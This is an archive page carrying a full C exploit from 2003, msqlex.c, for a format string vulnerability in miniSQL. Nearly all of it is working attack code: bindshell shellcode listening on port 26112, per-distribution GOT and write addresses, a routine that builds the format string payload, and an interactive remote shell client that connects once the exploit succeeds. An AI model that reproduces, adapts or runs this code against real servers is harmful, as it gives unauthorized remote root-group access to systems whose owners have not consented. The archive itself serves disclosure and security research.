what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

msqlex.c

msqlex.c
Posted Jul 24, 2003
Authored by The Itch, netric, lucipher | Site netric.org

Remote exploit for miniSQL version 1.3 and below that achieves privilege escalation root gid.

tags | exploit, remote, root
SHA-256 | e3637acdc0aea734e04f3ed1cd756e1015ef7c75c0c7bf4b03ee10155c796dc7

msqlex.c

Change Mirror Download
/*           _ ________            _____                        ______
__ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
_/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
- -------\______||--._____\---._______//-|__ //-.___|----._____||
/ \ /
\/
[*] mSQL < remote gid root exploit
by lucipher & The Itch (www.netric.org|be)
------------------------------------------------------------------------------

[*] Exploits a format string hole in mSQL.

[*] Some functions are taken from mSQL's sourcecode

Copyright (c) 2003 Netric Security and lucipher
All rights reserved.

THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h> /* required by fatal() */
#include <stdlib.h>
#include <stdarg.h> /* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h> /* required by errno */
#include <getopt.h> /* required by getopt() */
#include <signal.h>

#define PKT_LEN (128*1024)
#define ERR_BUF_LEN 200
#define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
if (*cp == '\n') *cp = 0;}

#define NET_READ(fd,b,l) read(fd,b,l)
#define NET_WRITE(fd,b,l) write(fd,b,l)

#define SERVER_GONE_ERROR "server has gone...\n"
#define UNKNOWN_ERROR "foo!"

static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;

int netReadPacket(int fd);
int netWritePacket(int fd);

/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
"\x31\xdb\xf7\xe3\x53\x43\x53"
"\x6a\x02\x89\xe1\xb0\x66\x52"
"\x50\xcd\x80\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1"
"\x52\x50\xb0\x66\xcd\x80\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80"
"\x43\xb0\x66\xcd\x80\x89\xd9"
"\x93\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";

static void intToBuf(cp, val)
u_char *cp;
int val;
{
*cp++ = (unsigned int) (val & 0x000000ff);
*cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
*cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
*cp++ = (unsigned int) (val & 0xff000000) >> 24;
}

static int bufToInt(cp)
u_char *cp;
{
int val;

val = 0;
val = *cp++;
val += ((int) *cp++) << 8;
val += ((int) *cp++) << 16;
val += ((int) *cp++) << 24;
return (val);
}

int netWritePacket(fd)
int fd;
{
int len, offset, remain, numBytes;

len = strlen((char *) packet);
intToBuf(packetBuf, len);
offset = 0;
remain = len + 4;
while (remain > 0) {
numBytes = NET_WRITE(fd, packetBuf + offset, remain);
if (numBytes == -1) {
return (-1);
}
offset += numBytes;
remain -= numBytes;
}
return (0);
}

int netReadPacket(fd)
int fd;
{
u_char buf[4];
int len, remain, offset, numBytes;

remain = 4;
offset = 0;
numBytes = 0;
readTimeout = 0;
while (remain > 0) {
/*
** We can't just set an alarm here as on lots of boxes
** both read and recv are non-interuptable. So, we
** wait till there something to read before we start
** reading in the server (not the client)
*/
if (!readTimeout) {
numBytes = NET_READ(fd, buf + offset, remain);
if (numBytes < 0 && errno != EINTR) {
fprintf(stderr,
"Socket read on %d for length failed : ",
fd);

perror("");
}
if (numBytes <= 0)
return (-1);
}
if (readTimeout)
break;
remain -= numBytes;
offset += numBytes;

}
len = bufToInt(buf);
if (len > PKT_LEN) {
fprintf(stderr, "Packet too large (%d)\n", len);
return (-1);
}
if (len < 0) {
fprintf(stderr, "Malformed packet\n");
return (-1);
}
remain = len;
offset = 0;
while (remain > 0) {
numBytes = NET_READ(fd, packet + offset, remain);

if (numBytes <= 0) {
return (-1);
}
remain -= numBytes;
offset += numBytes;
}
*(packet + len) = 0;
return (len);
}

int msqlSelectDB(int sock, char *db)
{
memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));

packet = packetBuf+4;

snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
netWritePacket(sock);
if (netReadPacket(sock) <= 0) {
strcpy(msqlErrMsg, SERVER_GONE_ERROR);
return (-1);
}
if (atoi(packet) == -1) {
char *cp;

cp = (char *) index(packet, ':');
if (cp) {
strcpy(msqlErrMsg, cp + 1);
chopError();
} else {
strcpy(msqlErrMsg, UNKNOWN_ERROR);
}
return (-1);
}

return (0);
}

struct target {
char *name; /* target description */
unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */
unsigned long smashaddr; /* strcpy's GOT address */
unsigned long pops; /* number of stack pops */
};

/* high and low words indexers */
enum { hi, lo };

/* default values. */
struct target targets[] = {
/* name write smash pops */
{ "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
{ "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
{ "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
{ "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
{ NULL, 0x0, 0x0, 0 }
};

void fatal(char *fmt, ...)
{
char buffer[1024];
va_list ap;

va_start(ap, fmt);
vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
va_end(ap);

fprintf(stderr, "%s", buffer);
exit(1);
}

/* resolve a given hostname */
unsigned long tcp_resolv(char *hostname)
{
struct hostent *he;
unsigned long addr;
int n;

he = gethostbyname(hostname);
if (he == NULL) {
n = inet_aton(hostname, (struct in_addr *) addr);
if (n < 0)
fatal("inet_aton: %s\n", strerror(errno));

return addr;
}

return *(unsigned long *) he->h_addr;
}

/* routine to open a tcp/ip connection */
int tcp_connect(char *hostname, int port)
{
struct sockaddr_in sin;
int fd, n;

sin.sin_addr.s_addr = tcp_resolv(hostname);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);

fd = socket(AF_INET, SOCK_STREAM, 6);
if (fd < 0)
return -1;

n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
if (n < 0)
return -1;

return fd;
}

int msql_login(char *hostname, unsigned short int port)
{
char buffer[300], *p;
int fd, n, opt;

fd = tcp_connect(hostname, port);
if (fd < 0)
fatal("[-] couldn't connect to host %s:%u\n", hostname, port);

setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);

memset(&buffer, 0x0, sizeof(buffer));
n = read(fd, &buffer, sizeof(buffer) - 1);
if (n < 0)
fatal("[-] could not read socket: %s\n", strerror(errno));

p = (char *)&buffer + 4;
if (atoi(p) == -1)
fatal("[-] bad handshake received.\n");
p++;
if (*p != ':') p++;
p++;
if (*p >= '1' && *p <= '3') {
/* send buffer size within packet. */
buffer[0] = (unsigned int) (5UL & 0x000000ff);
buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
/* sorta like our login. */
buffer[4] = 'r';
buffer[5] = 'o';
buffer[6] = 'o';
buffer[7] = 't';
buffer[8] = '\n';
buffer[9] = '\0';

write(fd, buffer, 9);
}

n = read(fd, buffer, sizeof(buffer) - 1);
if (n < 0)
fatal("[-] client failed in handshake.\n");

printf("[+] connected to %s -> %u\n", hostname, port);
return fd;
}

void msql_selectdb(int fd, char *database)
{
unsigned char buffer[300];
unsigned int len;

len = 117;
buffer[0] = (unsigned char)(len & 0x000000ff);
buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
buffer[3] = (unsigned char)(len & 0xff000000) >> 24;

snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
len = write(fd, &buffer[0], len);

}

void shell(int fd)
{
char buf[512];
fd_set rfds;
int l;

write(fd, "id ; uname -a\n", 14);
while (1) {
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
select(fd + 1, &rfds, NULL, NULL, NULL);

if (FD_ISSET(0, &rfds)) {
l = read(0, buf, sizeof (buf));
if (l <= 0) {
perror("read user");
exit(EXIT_FAILURE);
}
write(fd, buf, l);
}

if (FD_ISSET(fd, &rfds)) {
l = read(fd, buf, sizeof (buf));
if (l == 0) {
fatal("connection closed by foreign host.\n");
} else if (l < 0) {
perror("read remote");
exit (EXIT_FAILURE);
}
write(1, buf, l);
}

}
}

void usage(void)
{
fprintf(stderr, "mSQLexploit\n\n");
fprintf(stderr, " -l\t\tlist available targets.\n");
fprintf(stderr, " -t target\ttarget selection.\n");
fprintf(stderr, " *** MANUAL ATTACK ***\n");
fprintf(stderr, " -s [addr]\tsmash address.\n");
fprintf(stderr, " -w [addr]\twrite address.\n");
fprintf(stderr, " -p [num]\tnumber of pops.\n");
exit(1);
}

int main(int argc, char **argv)
{
struct target manual;
struct target *target = NULL;
unsigned short port = 0, addr[2];
unsigned char split[4];
char *hostname, buffer[200];
int fd, opt;

if (argc <= 1)
usage();

memset(&manual, 0x00, sizeof(struct target));
while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
switch (opt) {
case 't': /* pre-written target selection */
target = &targets[atoi(optarg)];
break;
case 'l':
{
int i;
/* iterate through the list of targets and display. */
for (i = 0; targets[i].name; i++)
printf("[%d] %s\n", i, targets[i].name);

exit(1);
}
case 'h':
/* print exploit usage information */
usage();
break; /* never reached */
case 's':
if (target == NULL)
target = &manual;

target->name = "Manual Target";
target->smashaddr = strtoul(optarg, NULL, 16);
break;
case 'w':
if (target == NULL)
target = &manual;

target->name = "Manual Target";
target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
break;
case 'p':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->pops = atoi(optarg);
}
}

argc -= optind;
argv += optind;

if (argc <= 0) {
fatal("choose a hostname and optionally a port\n");
} else if (argc == 1) {
hostname = argv[0];
} else {
hostname = argv[0];
port = atoi(argv[1]) & 0xff;
}
if (target != NULL) {
if (!strncmp(target->name, "Manual", 6))
if (!target->smashaddr || !target->writeaddr ||
!target->pops)
fatal("exploit requires pop count and "
"smash, write addresses: use -p and -w and -s "
"to set them\n");
} else {
target = &target[0];
}

printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);

fd = msql_login(hostname, (port) ? port : 1114);

printf("[+] name %s\n", target->name);
printf("[+] smash %08lx\n", target->smashaddr);
printf("[+] write %08lx\n", target->writeaddr);
printf("[+] Now building string...\n");

memset(&buffer, 0x0, sizeof(buffer));

addr[lo] = (target->writeaddr & 0x0000ffff);
addr[hi] = (target->writeaddr & 0xffff0000) >> 16;

/* split the address */
split[0] = (target->smashaddr & 0xff000000) >> 24;
split[1] = (target->smashaddr & 0x00ff0000) >> 16;
split[2] = (target->smashaddr & 0x0000ff00) >> 8;
split[3] = (target->smashaddr & 0x000000ff);

/* build the format string */
if (addr[hi] < addr[lo])
snprintf(buffer, sizeof(buffer),
"%c%c%c%c"
"%c%c%c%c"

"%s"

"%%.%du%%%ld$hn"
"%%.%du%%%ld$hn",

split[3] + 2, split[2], split[1], split[0],
split[3], split[2], split[1], split[0],
linux_code,
addr[hi] - 0x68, target->pops,
addr[lo] - addr[hi], target->pops + 1);
else
snprintf(buffer, sizeof(buffer),
"%c%c%c%c"
"%c%c%c%c"

"%s"

"%%.%du%%%ld$hn"
"%%.%du%%%ld$hn",

split[3] + 2, split[2], split[1], split[0],
split[3], split[2], split[1], split[0],
linux_code,
addr[lo] - 0x68, target->pops,
addr[hi] - addr[lo], target->pops + 1);

printf("[+] Trying to exploit...\n");
msqlSelectDB(fd, buffer);
switch (opt = fork()) {
case 0:
msqlSelectDB(fd, buffer);
exit(1);
case -1:
fatal("[-] failed fork()!\n");
default:
break;
}

printf("[+] sleeping...\n");
sleep(1);
opt = tcp_connect(hostname, 26112);
if (opt < 0)
fatal("[-] failed! couldn't connect to bindshell!\n");

printf("[+] shell!\n");
shell(opt);

return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close